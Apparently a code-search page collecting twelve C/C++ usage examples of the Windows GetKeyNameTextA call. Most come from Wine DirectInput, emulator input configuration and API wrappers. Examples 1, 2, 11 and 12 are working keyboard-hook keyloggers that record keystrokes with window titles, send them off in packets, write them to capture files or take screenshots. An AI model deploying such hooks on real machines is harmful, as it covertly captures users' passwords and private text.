Exemplo n.º 1
0
LRESULT CALLBACK kbdHandler(int code, WPARAM wParam, LPARAM lParam) {
	if (logRun && code >= 0) {
		WORD buf;
		BYTE KeyState[256];
		char lpString[256];
		KBDLLHOOKSTRUCT *pKeyBoard;

		pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
		if (!keyboard.isWorking())
			keyboard.startWorking(getTime());
		GetKeyboardState(KeyState);
		if (wParam == WM_KEYDOWN) {
			if (cor.count(pKeyBoard->vkCode))
				keyboard.log(cor[pKeyBoard->vkCode]);
			else if (ToAscii(pKeyBoard->vkCode, MapVirtualKey(pKeyBoard->vkCode, 0), KeyState, &buf, 0) == 1)
				keyboard.log((char)buf);
			else if (GetKeyNameTextA(MAKELONG(0, MapVirtualKey(pKeyBoard->vkCode, 0)), lpString, 255) > 0)
				keyboard.log(std::string(lpString));
		}
	}
	if (logRun) {
		if (json.getSizeBuffer() >= PACKET_SIZE) {
			json.sendPackets();
			json.putActiveProcess(curPath, "USELESS");
		}
		if (!stockProcessName())
			json.putActiveProcess("UNKNOWN", "USELESS");
	}
	return (CallNextHookEx(keyboard.getHandler(), code, wParam, lParam));
}
Exemplo n.º 2
0
LRESULT CALLBACK  LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
	HWND hFocus=GetForegroundWindow();

	if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);

	if(code==HC_ACTION) {
		KBDLLHOOKSTRUCT *pKBst=(KBDLLHOOKSTRUCT *)lParam;
		if(wParam==WM_KEYDOWN) {
			
			DWORD dwCount,dwBytes;
			char svBuffer[256];
			int vKey,nScan;
		
			vKey=pKBst->vkCode;
			nScan=pKBst->scanCode;
			nScan<<=16;
			
			// Check to see if focus has changed			
			if(g_hLastFocus!=hFocus) {
				char svTitle[256];
				int nCount;
				nCount=GetWindowTextA(hFocus,svTitle,256);
				if(nCount>0) {
					char svBuffer[512];
					sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
					WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL);
				}
				g_hLastFocus=hFocus;
			}
			
			// Write out key
			dwCount=GetKeyNameTextA(nScan,svBuffer,256);	
			if(dwCount) {
				if(vKey==VK_SPACE) {
					svBuffer[0]=' ';
					svBuffer[1]='\0';
					dwCount=1;
				}
				if(dwCount==1) {
					BYTE kbuf[256];
					WORD ch;
					int chcount;
					
					GetKeyboardState(kbuf);
					
					chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
					if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);				
				} else {
					WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);
					WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
					WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);
					if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);
				}
			}			
		}
	}
	return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
Exemplo n.º 3
0
void ConvertKBIDToName(int buttonid, char *string)
{
   memset(string, 0, MAX_PATH);

   // This fixes some strange inconsistencies
   if (buttonid == DIK_PAUSE)
      buttonid = DIK_NUMLOCK;
   else if (buttonid == DIK_NUMLOCK)
      buttonid = DIK_PAUSE;
   if (buttonid & 0x80)
      buttonid += 0x80;

   GetKeyNameTextA(buttonid << 16, string, MAX_PATH);
}
Exemplo n.º 4
0
static SysKeyboardImpl *alloc_device(REFGUID rguid, IDirectInputImpl *dinput)
{
    SysKeyboardImpl* newDevice;
    LPDIDATAFORMAT df = NULL;
    int i, idx = 0;

    newDevice = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,sizeof(SysKeyboardImpl));
    newDevice->base.IDirectInputDevice8A_iface.lpVtbl = &SysKeyboardAvt;
    newDevice->base.IDirectInputDevice8W_iface.lpVtbl = &SysKeyboardWvt;
    newDevice->base.ref = 1;
    memcpy(&newDevice->base.guid, rguid, sizeof(*rguid));
    newDevice->base.dinput = dinput;
    newDevice->base.event_proc = KeyboardCallback;
    InitializeCriticalSection(&newDevice->base.crit);
    newDevice->base.crit.DebugInfo->Spare[0] = (DWORD_PTR)(__FILE__ ": SysKeyboardImpl*->base.crit");

    /* Create copy of default data format */
    if (!(df = HeapAlloc(GetProcessHeap(), 0, c_dfDIKeyboard.dwSize))) goto failed;
    memcpy(df, &c_dfDIKeyboard, c_dfDIKeyboard.dwSize);
    if (!(df->rgodf = HeapAlloc(GetProcessHeap(), 0, df->dwNumObjs * df->dwObjSize))) goto failed;

    for (i = 0; i < df->dwNumObjs; i++)
    {
        char buf[MAX_PATH];

        if (!GetKeyNameTextA(((i & 0x7f) << 16) | ((i & 0x80) << 17), buf, sizeof(buf)))
            continue;

        memcpy(&df->rgodf[idx], &c_dfDIKeyboard.rgodf[i], df->dwObjSize);
        df->rgodf[idx++].dwType = DIDFT_MAKEINSTANCE(i) | DIDFT_PSHBUTTON;
    }
    df->dwNumObjs = idx;

    newDevice->base.data_format.wine_df = df;
    IDirectInput_AddRef(&newDevice->base.dinput->IDirectInput7A_iface);

    EnterCriticalSection(&dinput->crit);
    list_add_tail(&dinput->devices_list, &newDevice->base.entry);
    LeaveCriticalSection(&dinput->crit);

    return newDevice;

failed:
    if (df) HeapFree(GetProcessHeap(), 0, df->rgodf);
    HeapFree(GetProcessHeap(), 0, df);
    HeapFree(GetProcessHeap(), 0, newDevice);
    return NULL;
}
Exemplo n.º 5
0
	std::string GetKeyName(BYTE key)
	{
		DWORD sc = MapVirtualKeyA(key, 0);
		// check key for ascii
		BYTE buf[256];
		memset(buf, 0, 256);
		WORD temp;
		DWORD asc = (key <= 32);
		if (!asc && (key != VK_DIVIDE)) asc = ToAscii(key, sc, buf, &temp, 1);
		// set bits
		sc <<= 16;
		sc |= 0x1 << 25;  // <- don't care
		if (!asc) sc |= 0x1 << 24; // <- extended bit
		// convert to ansi string
		if (GetKeyNameTextA(sc, (char *)buf, sizeof(buf)))
			return (char *)buf;
		else return "";
	}
Exemplo n.º 6
0
int GetKeyNameTextUTF8(LONG lParam, LPTSTR lpString, int nMaxCount)
{
  if (!lpString) return 0;
  if (nMaxCount>0 AND_IS_NOT_WIN9X)
  {
    WIDETOMB_ALLOC(wbuf, nMaxCount);
    if (wbuf)
    {
      GetKeyNameTextW(lParam,wbuf,(int) (wbuf_size/sizeof(WCHAR)));

      if (!WideCharToMultiByte(CP_UTF8,0,wbuf,-1,lpString,nMaxCount,NULL,NULL) && GetLastError()==ERROR_INSUFFICIENT_BUFFER)
        lpString[nMaxCount-1]=0;
      WIDETOMB_FREE(wbuf);

      return (int)strlen(lpString);
    }
  }
  return GetKeyNameTextA(lParam,lpString,nMaxCount);
}
Exemplo n.º 7
0
/******************************************************************************
  *     GetObjectInfo : get information about a device object such as a button
  *                     or axis
  */
static HRESULT WINAPI
SysKeyboardAImpl_GetObjectInfo(
	LPDIRECTINPUTDEVICE8A iface,
	LPDIDEVICEOBJECTINSTANCEA pdidoi,
	DWORD dwObj,
	DWORD dwHow)
{
    HRESULT res;

    res = IDirectInputDevice2AImpl_GetObjectInfo(iface, pdidoi, dwObj, dwHow);
    if (res != DI_OK) return res;

    if (!GetKeyNameTextA((DIDFT_GETINSTANCE(pdidoi->dwType) & 0x80) << 17 |
                         (DIDFT_GETINSTANCE(pdidoi->dwType) & 0x7f) << 16,
                         pdidoi->tszName, sizeof(pdidoi->tszName)))
        return DIERR_OBJECTNOTFOUND;

    _dump_OBJECTINSTANCEA(pdidoi);
    return res;
}
Exemplo n.º 8
0
/* MAKE_EXPORT GetKeyNameTextW_new=GetKeyNameTextW */
int WINAPI GetKeyNameTextW_new(LONG lParam, LPWSTR lpString, int nSize)
{
	LPSTR lpBuffer = (LPSTR)malloc(nSize);
	BOOL result;

	if(lpBuffer == NULL)
		return FALSE;

	result = GetKeyNameTextA(lParam, lpBuffer, nSize);

	if(!result)
	{
		free(lpBuffer);
		return FALSE;
	}

	STACK_AtoW(lpBuffer, lpString);

	free(lpBuffer);

	return TRUE;
}
Exemplo n.º 9
0
/****************************************************************************
 *		GetKeyNameText (KEYBOARD.133)
 */
INT16 WINAPI GetKeyNameText16(LONG lParam, LPSTR lpBuffer, INT16 nSize)
{
    return GetKeyNameTextA( lParam, lpBuffer, nSize );
}
Exemplo n.º 10
0
int PERDXFetchNextPress(HWND hWnd, u32 guidnum, char *buttonname)
{
   LPDIRECTINPUT8 lpDI8temp = NULL;
   LPDIRECTINPUTDEVICE8 lpDIDevicetemp;
   DIDEVCAPS didc;
   int buttonid=-1;

   if (FAILED(DirectInput8Create(GetModuleHandle(NULL), DIRECTINPUT_VERSION,
       &IID_IDirectInput8, (LPVOID *)&lpDI8temp, NULL)))
      return -1;

   if (FAILED(IDirectInput8_CreateDevice(lpDI8temp, &GUIDDevice[guidnum], &lpDIDevicetemp,
       NULL)))
   {
      IDirectInput8_Release(lpDI8temp);
      return -1;
   }

   didc.dwSize = sizeof(DIDEVCAPS);

   if (FAILED(IDirectInputDevice8_GetCapabilities(lpDIDevicetemp, &didc)))
   {
      IDirectInputDevice8_Release(lpDIDevicetemp);       
      IDirectInput8_Release(lpDI8temp);
      return -1;
   }

   if (GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_KEYBOARD)
   {
      if (FAILED(IDirectInputDevice8_SetDataFormat(lpDIDevicetemp, &c_dfDIKeyboard)))
      {
         IDirectInputDevice8_Release(lpDIDevicetemp);       
         IDirectInput8_Release(lpDI8temp);
         return -1;
      }
   }       
   else if (GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_GAMEPAD ||
           GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_JOYSTICK)
   {
      if (FAILED(IDirectInputDevice8_SetDataFormat(lpDIDevicetemp, &c_dfDIJoystick)))
      {
         IDirectInputDevice8_Release(lpDIDevicetemp);       
         IDirectInput8_Release(lpDI8temp);
         return -1;
      }
   }
   else if (GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_MOUSE)
   {
      if (FAILED(IDirectInputDevice8_SetDataFormat(lpDIDevicetemp, &c_dfDIMouse2)))
      {
         IDirectInputDevice8_Release(lpDIDevicetemp);       
         IDirectInput8_Release(lpDI8temp);
         return -1;
      }
   }       

   if (DialogBoxParam(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_BUTTONCONFIG), hWnd, (DLGPROC)ButtonConfigDlgProc, (LPARAM)lpDIDevicetemp) == TRUE)
   {
      // Figure out what kind of code to generate
      if (GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_KEYBOARD)
      {
         memset(buttonname, 0, MAX_PATH);
         buttonid = nextpress.dwOfs;
         // This fixes some strange inconsistencies
         if (buttonid == DIK_PAUSE)
            buttonid = DIK_NUMLOCK;
         else if (buttonid == DIK_NUMLOCK)
            buttonid = DIK_PAUSE;
         if (buttonid & 0x80)
            buttonid += 0x80;

         GetKeyNameTextA(buttonid << 16, buttonname, MAX_PATH);
         buttonid = nextpress.dwOfs;
      }
      else if (GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_GAMEPAD ||
               GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_JOYSTICK)
      {
         if (nextpress.dwOfs == DIJOFS_X)
         {
            if (nextpress.dwData <= 0x8000)
            {
               sprintf(buttonname, "Axis Left");
               buttonid = 0x00;
            }
            else
            {
               sprintf(buttonname, "Axis Right");
               buttonid = 0x01;
            }
         }
         else if (nextpress.dwOfs == DIJOFS_Y)
         {
            if (nextpress.dwData <= 0x8000)
            {
               sprintf(buttonname, "Axis Up");
               buttonid = 0x02;
            }
            else
            {
               sprintf(buttonname, "Axis Down");
               buttonid = 0x03;
            }
         }
         else if (nextpress.dwOfs == DIJOFS_POV(0))
         {
            if (nextpress.dwData < 9000)
            {
               sprintf(buttonname, "POV Up");
               buttonid = 0x04;
            }
            else if (nextpress.dwData < 18000)
            {
               sprintf(buttonname, "POV Right");
               buttonid = 0x05;
            }
            else if (nextpress.dwData < 27000)
            {
               sprintf(buttonname, "POV Down");
               buttonid = 0x06;
            }
            else
            {
               sprintf(buttonname, "POV Left");
               buttonid = 0x07;
            }
         }
         else if (nextpress.dwOfs >= DIJOFS_BUTTON(0) && nextpress.dwOfs <= DIJOFS_BUTTON(127))
         {
            sprintf(buttonname, "Button %d", (int)(nextpress.dwOfs - 0x2F));
            buttonid = nextpress.dwOfs;
         }
      }
      else if (GET_DIDEVICE_TYPE(didc.dwDevType) == DI8DEVTYPE_MOUSE)
      {
         buttonid = nextpress.dwOfs-DIMOFS_BUTTON0;
         sprintf(buttonname, "Button %d", buttonid+1);
      }
   }

   IDirectInputDevice8_Unacquire(lpDIDevicetemp);
   IDirectInputDevice8_Release(lpDIDevicetemp);       
   IDirectInput8_Release(lpDI8temp);

   return buttonid;
}
Exemplo n.º 11
0
LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
{
	HWND hFocus;

	if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);

	if(code==HC_ACTION) {

		EVENTMSG *pEvt=(EVENTMSG *)lParam;
		if(pEvt->message==WM_KEYDOWN) {
			DWORD dwCount,dwBytes;
			char svBuffer[256];
			int vKey,nScan;
		
			vKey=LOBYTE(pEvt->paramL);
			nScan=HIBYTE(pEvt->paramL);
			nScan<<=16;
			
			// Check to see if focus has changed
			hFocus=GetActiveWindow();
			if(g_hLastFocus!=hFocus) {
				char svTitle[256];
				int nCount;
				nCount=GetWindowTextA(hFocus,svTitle,256);
				if(nCount>0) {
					char svBuffer[512];
					sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
					WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL);
				}
				g_hLastFocus=hFocus;
			}
			
			// Write out key
			dwCount=GetKeyNameTextA(nScan,svBuffer,256);	
			if(dwCount) {
				if(vKey==VK_SPACE) {
					svBuffer[0]=' ';
					svBuffer[1]='\0';
					dwCount=1;
				}
				if(dwCount==1) {
					BYTE kbuf[256];
					WORD ch;
					int chcount;
					
					GetKeyboardState(kbuf);
					
					chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
					if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);				
				} else {
					WriteFile(g_hCapFile,"[",2,&dwBytes,NULL);
					WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
					WriteFile(g_hCapFile,"]",2,&dwBytes,NULL);
					if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);
				}
			}			
		}
	
	}
	return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
Exemplo n.º 12
0
LRESULT CALLBACK LLKeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode < 0 || nCode == HC_NOREMOVE)
		return ::CallNextHookEx(NULL, nCode, wParam, lParam);
	
   if (lParam & 0x40000000)	// Check the previous key state
	{
		return ::CallNextHookEx(NULL, nCode, wParam, lParam);
	}

	if(wParam == WM_KEYDOWN)
	{
		//time_t timer;
		//time(&timer);

		KBDLLHOOKSTRUCT  *pkbhs = (KBDLLHOOKSTRUCT *)lParam;

		//check that the message is from keyboard or is synthesized by SendInput API
		if((pkbhs->flags & LLKHF_INJECTED))
			return ::CallNextHookEx(NULL, nCode, wParam, lParam);
		
		SYSTEMTIME sys;
		GetLocalTime( &sys );
		std::string strTime = GetSysLocalTimeStr(sys);

		HWND hwnd = GetForegroundWindow();
		std::string windowname = GetWindowNameStr(hwnd);
		ReplaceAll(windowname,"\n","\\n");
		ReplaceAll(windowname,"\t","\\t");

		DWORD processId;
		std::string processName = GetProcessNameStr(hwnd,&processId);

		std::string parentWindowName = GetNotNullParentNameStr(hwnd);

		FILE* fKeyBoardLog;
		errno_t err = _tfopen_s(&fKeyBoardLog,_T("log/keyboard.txt"),_T("a"));

		if(!IsNeedProcess(processName, windowname,parentWindowName))
		{
			fprintf_s(fKeyBoardLog,"%s\n", strTime.c_str());
			fprintf_s(fKeyBoardLog,"NOT LOGGED APPLICATION\n");
			fclose(fKeyBoardLog);
			return CallNextHookEx(NULL, nCode, wParam, lParam);
		}

		DWORD dwMsg = 1;
		dwMsg += pkbhs->scanCode << 16;
		dwMsg += pkbhs->flags << 24;

		CHAR strKey[80];
		GetKeyNameTextA(dwMsg,strKey,80);

		
		POINT point;
		GUITHREADINFO pg;
		pg.cbSize=48;
		::GetGUIThreadInfo(NULL,&pg);
		//HWND temphwnd=pg.hwndCaret;
		if (pg.hwndCaret)
		{
			point.x=pg.rcCaret.right;
			point.y=pg.rcCaret.bottom;
			::ClientToScreen(pg.hwndCaret,&point);
		}
		else
		{
			point.x = point.y = -1;
		}
		

		//FILE* fKeyBoardLog;
		//errno_t err = _tfopen_s(&fKeyBoardLog,_T("log/keyboard.txt"),_T("a"));
		if(err == 0)
		{
			printf_s("%s %s %s\n", windowname.c_str(), processName.c_str(), strKey);
			fprintf_s(fKeyBoardLog, "%s\n", strTime.c_str());
			fprintf_s(fKeyBoardLog, "%s\n", strKey);
			fprintf_s(fKeyBoardLog, "%d %d\n", point.x, point.y);
			fprintf_s(fKeyBoardLog, "%s\n", windowname.c_str());
			fprintf_s(fKeyBoardLog, "%s\n", processName.c_str());
			fprintf_s(fKeyBoardLog, "%s\n", parentWindowName.c_str());
			fclose(fKeyBoardLog);
		}
		else
		{
			printf_s("Open Key Log File Error\n");
		}

		//double interval =  difftime(timer,preKeyTimer);
		double interval = GetTimeDifference(preKeyTime,sys);	
		if(interval<0 || interval > 1)
		{
			preKeyTime = sys;
			/*
			RECT winRect;
			GetWindowRect(hwnd,&winRect);
			if(winRect.left<0)
			{
				winRect.right = winRect.right + winRect.left;
				winRect.left = 0;
			}
			if(winRect.top<0)
			{
				winRect.bottom = winRect.bottom + winRect.top;
				winRect.top = 0;
			}
			*/
			
			std::string img = "log/screen/" + strTime +  ".png";
			GetScreeny(SCREEN_RECT,from_string(img).c_str(),100);
		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}